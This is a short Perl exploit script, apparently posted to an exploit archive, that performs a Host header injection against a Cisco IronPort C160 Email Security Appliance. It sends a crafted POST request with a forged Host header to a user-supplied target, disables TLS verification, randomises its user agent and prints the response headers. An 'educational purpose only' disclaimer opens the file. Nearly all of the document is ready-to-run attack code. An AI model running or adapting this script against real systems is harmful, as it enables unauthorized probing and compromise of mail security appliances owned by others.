Share
#!/usr/bin/perl -w  
#  
#  
# Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection  
#  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
#  
# Disclaimer:  
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages   
# caused by direct or indirect use of the information or functionality provided by these programs.   
# The author or any Internet provider bears NO responsibility for content or misuse of these programs   
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,   
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!  
#  
#   
use strict;  
use HTTP::Request;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;  
use HTTP::CookieJar::LWP;  
  
  
my $host = shift || 'https://192.168.1.1:443/';  
  
print ("[+] Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection\n");  
print ("===================================================================================\n");  
print ("[!] Author: Todor Donev <todor.donev\@gmail.com>\n");  
print ("[?] e.g. perl $0 https://target:port/\n") and exit if ($host !~ m/^http/);  
  
my $user_agent = rand_ua("browsers");  
my $jar = HTTP::CookieJar::LWP->new();  
my $browser = LWP::UserAgent->new(  
protocols_allowed => ['http', 'https'],  
ssl_opts => { verify_hostname => 0 }  
);  
$browser->timeout(10);  
$browser->cookie_jar($jar);  
$browser->agent($user_agent);  
  
my $request = HTTP::Request->new (POST => $host,  
[ Content_Type => "application/x-www-form-urlencoded" ,  
Referer => $host], " ");  
$request->header("Host" => "Header-Injection");  
my $content = $browser->request($request);  
print $content->headers_as_string();